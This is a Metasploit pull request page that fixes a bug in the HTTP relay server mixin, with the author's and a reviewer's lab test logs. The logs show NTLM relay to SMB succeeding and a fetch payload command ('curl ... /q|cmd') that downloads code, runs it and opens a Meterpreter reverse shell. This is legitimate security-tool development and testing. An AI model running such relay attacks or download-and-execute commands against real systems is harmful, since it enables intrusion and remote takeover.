Skip to content

Fix bug where relay server failed to work if the attacker used the UR…#21677

Merged
jheysel-r7 merged 1 commit into
rapid7:masterfrom
bwatters-r7:fix/http_relay_uripath
Jul 15, 2026
Merged

Fix bug where relay server failed to work if the attacker used the UR…#21677
jheysel-r7 merged 1 commit into
rapid7:masterfrom
bwatters-r7:fix/http_relay_uripath

Conversation

@bwatters-r7

@bwatters-r7 bwatters-r7 commented Jul 15, 2026

Copy link
Copy Markdown
Contributor

Description

This PR fixes a bug I found while testing #21620

The issue was that the relay failed if the target requested the URIPATH value provided in the module setup. Any other path requested was relayed properly. This confused me greatly.

The reason it failed was that the http relay library code called super on start_service which created an HTTP server with the resource provided in URIPATH, and then it went on to specifically add a second catch-all resource for the relay using /.

That created a situation where anything not matching a resource in the HTTP server was sent to on_relay_request (yes, good!) but anything that matched a registered resource was sent to on_request_uri to get that resource (also good!). Unfortunately, that resource had no data attached to it, so it silently failed and was eaten by exception handling (no, bad!).

This fix:

  1. Removes the URIPATH option because we don't need it.

  2. Populates the opts hash with the catch-all / and calls super in http_relay rather than calling super and then adding the resource separately.

  3. Removes call to register / as a resource.

  4. Adds Spec tests

Breaking Changes

I don't believe this breaks anything, but this library is also used by the http_to_ldap module.

Reviewer Notes

None

Verification Steps

First, Create the relay and verify that it works:


msf auxiliary(server/relay/http_to_smb) > show options

Module options (auxiliary/server/relay/http_to_smb):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JOHNPWFILE                      no        Name of file to store JohnTheRipper hashes in. Supports NTLMv1 an
                                             d NTLMv2 hashes, each of which is stored in separate files. Can a
                                             lso be a path.
   RELAY_TIMEOUT  25               yes       Seconds that the relay socket will wait for a response after the
                                             client has initiated communication.
   RHOSTS                          yes       Target address range or CIDR identifier to relay to
   RPORT          445              yes       The target port (TCP)
   SRVHOST        0.0.0.0          yes       The local host to listen on.
   SRVPORT        80               yes       The local port to listen on.
   SRVSSL         false            no        Negotiate SSL/TLS for local server connections
   SSL            false            no        Negotiate SSL for incoming connections
   SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)


Auxiliary action:

   Name                Description
   ----                -----------
   CREATE_SMB_SESSION  Create an SMB session



View the full module info with the info, or info -d command.

msf auxiliary(server/relay/http_to_smb) > set rhosts 10.5.134.192
rhosts => 10.5.134.192
msf auxiliary(server/relay/http_to_smb) > set srvhost 10.5.135.210
srvhost => 10.5.135.210
msf auxiliary(server/relay/http_to_smb) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/relay/http_to_smb) > 
[*] Using URL: http://10.5.135.210/
[*] Server started.

msf auxiliary(server/relay/http_to_smb) > use 
[*] Received GET request for /test from 10.5.134.194:59058
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received GET request for /test from 10.5.134.194:59059
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received Type 1 message from 10.5.134.194, attempting to relay...
[*] Attempting to relay to 10.5.134.192:445
[*] Received type2 from target smb://10.5.134.192:445, attempting to relay back to client
[*] Received GET request for /test from 10.5.134.194:59059
[*] Processing request in state awaiting_type3 from 10.5.134.194
[*] Received Type 3 message from 10.5.134.194, attempting to relay...
[+] Identity: WHISTLER\sandy - Successfully relayed NTLM authentication to SMB!
[+] Relay succeeded
[*] Target list exhausted for 10.5.134.194. Closing connection.

Next, DO NOT CLOSE THE RELAY, just hit enter and use something else that needs an HTTP server. Be sure to use the same port. The goal here is to make sure that the relay catches anything NOT registered as a resource, but that if someone adds a resource to the HTTP server, it is served properly. I chose an HTTP-based fetch payload:

msf auxiliary(server/relay/http_to_smb) > use payload/cmd/windows/http/x64/meterpreter/reverse_tcp
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_command curl
fetch_command => CURL
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_srvport 80
fetch_srvport => 80
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_pipe true
fetch_pipe => true
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_uripath q
fetch_uripath => q
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set verbose true
verbose => true
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > to_handler
[-] Msf::OptionValidateError One or more options failed to validate: LHOST.
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set lhost 10.5.135.210
lhost => 10.5.135.210
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:80/q|cmd
[*] Payload Handler Started as Job 1

[*] Fetch handler listening on 10.5.135.210:80
[*] HTTP server started
[*] Adding resource /Se3SuyaEumAWZkcd-UKQHw
[*] Adding resource /q
[*] Started reverse TCP handler on 10.5.135.210:4444 

Now, I resend the relay request to verify that we are serving the relay and the payloads....

msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > [*] Received GET request for /test from 10.5.134.194:59107
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received GET request for /test from 10.5.134.194:59111
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received Type 1 message from 10.5.134.194, attempting to relay...
[*] Attempting to relay to 10.5.134.192:445
[*] Received type2 from target smb://10.5.134.192:445, attempting to relay back to client
[*] Received GET request for /test from 10.5.134.194:59111
[*] Processing request in state awaiting_type3 from 10.5.134.194
[*] Received Type 3 message from 10.5.134.194, attempting to relay...
[*] Skipping previously captured hash for WHISTLER\sandy
[+] Identity: WHISTLER\sandy - Successfully relayed NTLM authentication to SMB!
[+] Relay succeeded

Now, verify the HTTP server will serve the fetch payload:

[*] Target list exhausted for 10.5.134.194. Closing connection.
[*] Client 10.5.134.194 requested /q
[*] Sending payload to 10.5.134.194 (curl/7.83.1)
[*] Client 10.5.134.194 requested /Se3SuyaEumAWZkcd-UKQHw
[*] Sending payload to 10.5.134.194 (curl/7.83.1)
[*] Sending stage (248902 bytes) to 10.5.134.194
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.134.194:59114) at 2026-07-15 16:34:54 -0500

Test Evidence

See above

Environment

msfconsole on Ubuntu 26, relay on Windows 10x64 to Windows Server 2025
Ask me for target access

AI Usage Disclosure

Claude helped locate the issue, and then suggested that we replace on_uri_request with on_relay_request which I think would have caused the relay to serve everything, and that is not what we want, so I came up with this option. I also had Claude make the spec tests.

Pre-Submission Checklist

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR fixes a routing bug in the HTTP relay server mixin where requests matching the configured URIPATH were being dispatched to the base HttpServer#on_request_uri handler (a no-op) instead of the relay state machine, causing those requests to be silently swallowed.

Changes:

  • Deregisters the URIPATH option for Msf::Exploit::Remote::HttpServer::Relay and forces the relay handler to mount only a single catch-all resource at / via opts['Uri'] before calling super.
  • Removes the extra explicit add_resource('/') call in the relay mixin (so only the intended catch-all route exists).
  • Adds an RSpec regression test asserting that only / is mounted even if URIPATH is set.

Impact Analysis:

  • Blast radius: medium — affects all modules including Msf::Exploit::Remote::HttpServer::Relay (confirmed: auxiliary/server/relay/http_to_smb, auxiliary/server/relay/http_to_ldap, exploits/windows/local/ntlm_relay_2_self).
  • Data and contract effects: option surface change — URIPATH is no longer available on relay-based modules; HTTP routing behavior changes so relay reliably handles all non-specific paths while allowing more-specific resources (from other modules sharing the same service) to win via longest-prefix matching.
  • Rollback and test focus: rollback is straightforward (revert mixin change); focus validation on (1) requests to / and arbitrary paths relaying correctly, (2) requests to any specifically-registered resource paths still being handled by their owning module, and (3) coexistence with other HTTP server users on the same listener.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated no comments.

File Description
lib/msf/core/exploit/remote/http_server/relay.rb Forces the relay handler to be registered as the base / resource via opts['Uri'] and removes the misleading URIPATH option to prevent route swallowing.
spec/lib/msf/core/exploit/remote/relay/http_spec.rb Adds a regression spec ensuring the relay server mounts only / (catch-all) even when URIPATH is set.

@bwatters-r7

Copy link
Copy Markdown
Contributor Author

Looks like this also affects relay_2_self so a rebase of #21647 might be a good idea....?

@jheysel-r7 jheysel-r7 self-assigned this Jul 15, 2026

@jheysel-r7 jheysel-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great find @bwatters-r7, thanks for putting put this fix. Followed the testing steps and everything is working as expected 👍

Testing

  • Start the http_to_smb relay sever
  • Verify the relaying still works
  • Leave the relay server running
  • Load a second module that starts an http server - use the same port!
  • Rerun the relay attack and ensure the relay server is unaffected by the second module's http server
  • Verify the registered resource of the second module is working
msf auxiliary(server/relay/http_to_smb) > set rhosts 10.5.134.192
rhosts => 10.5.134.192
msf auxiliary(server/relay/http_to_smb) > set srvhost 192.168.3.8
srvhost => 192.168.3.8
msf auxiliary(server/relay/http_to_smb) > set srvport 8089
srvport => 8089
msf auxiliary(server/relay/http_to_smb) > run
[*] Auxiliary module running as background job 1.
msf auxiliary(server/relay/http_to_smb) >
[*] Using URL: http://172.16.199.1:8089/
[*] Server started.
[*] Received GET request for /test from 10.5.134.194:59176
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received GET request for /test from 10.5.134.194:59177
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received Type 1 message from 10.5.134.194, attempting to relay...
[*] Attempting to relay to 10.5.134.192:445
[*] Received type2 from target smb://10.5.134.192:445, attempting to relay back to client
[*] Received GET request for /test from 10.5.134.194:59177
[*] Processing request in state awaiting_type3 from 10.5.134.194
[*] Received Type 3 message from 10.5.134.194, attempting to relay...
[+] Identity: WHISTLER\sandy - Successfully relayed NTLM authentication to SMB!
[+] Relay succeeded
[*] Target list exhausted for 10.5.134.194. Closing connection.

msf auxiliary(server/relay/http_to_smb) > sessions -l

Active sessions
===============

  Id  Name  Type  Information                        Connection
  --  ----  ----  -----------                        ----------
  1         smb   SMB sandy @ 10.5.134.192:445  192.168.3.8:65456 -> 10.5.134.192:445 (10.5.134.192)

  msf auxiliary(server/relay/http_to_smb) > use payload/cmd/windows/http/x64/meterpreter/reverse_tcp
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_srvport 8089
fetch_srvport => 8089
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_pipe true
fetch_pipe => true
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_uripath q
fetch_uripath => q
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set verbose true
verbose => true
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set lhost 192.168.3.8
lhost => 192.168.3.8
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_command curl
fetch_command => CURL
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > to_handler

[*] Command to execute on target: curl -s http://192.168.3.8:8089/q|cmd
[*] Payload Handler Started as Job 2

[*] Fetch handler listening on 192.168.3.8:8089
[*] HTTP server started
[*] Adding resource /WlUYWaGQBkFNx2p4u32Opw
[*] Adding resource /q
[*] Started reverse TCP handler on 192.168.3.8:4444
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >
[*] Received GET request for /test from 10.5.134.194:59180
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received GET request for /test from 10.5.134.194:59181
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received Type 1 message from 10.5.134.194, attempting to relay...
[*] Attempting to relay to 10.5.134.192:445
[*] Received type2 from target smb://10.5.134.192:445, attempting to relay back to client
[*] Received GET request for /test from 10.5.134.194:59181
[*] Processing request in state awaiting_type3 from 10.5.134.194
[*] Received Type 3 message from 10.5.134.194, attempting to relay...
[+] Identity: WHISTLER\sandy - Successfully relayed NTLM authentication to SMB!
[+] Relay succeeded
[*] Target list exhausted for 10.5.134.194. Closing connection.

msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >
[*] Client 10.5.134.194 requested /q
[*] Sending payload to 10.5.134.194 (curl/7.83.1)
[*] Client 10.5.134.194 requested /WlUYWaGQBkFNx2p4u32Opw
[*] Sending payload to 10.5.134.194 (curl/7.83.1)
[*] Sending stage (248902 bytes) to 10.5.134.194
[*] Meterpreter session 3 opened (192.168.3.8:4444 -> 10.5.134.194:59185) at 2026-07-15 15:27:21 -0700

msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >

@github-project-automation github-project-automation Bot moved this from Todo to In Progress in Metasploit Kanban Jul 15, 2026
@jheysel-r7
jheysel-r7 merged commit c0cb225 into rapid7:master Jul 15, 2026
45 of 46 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Jul 15, 2026
@jheysel-r7

Copy link
Copy Markdown
Contributor

Release Notes

Fixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

rn-fix release notes fix

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

3 participants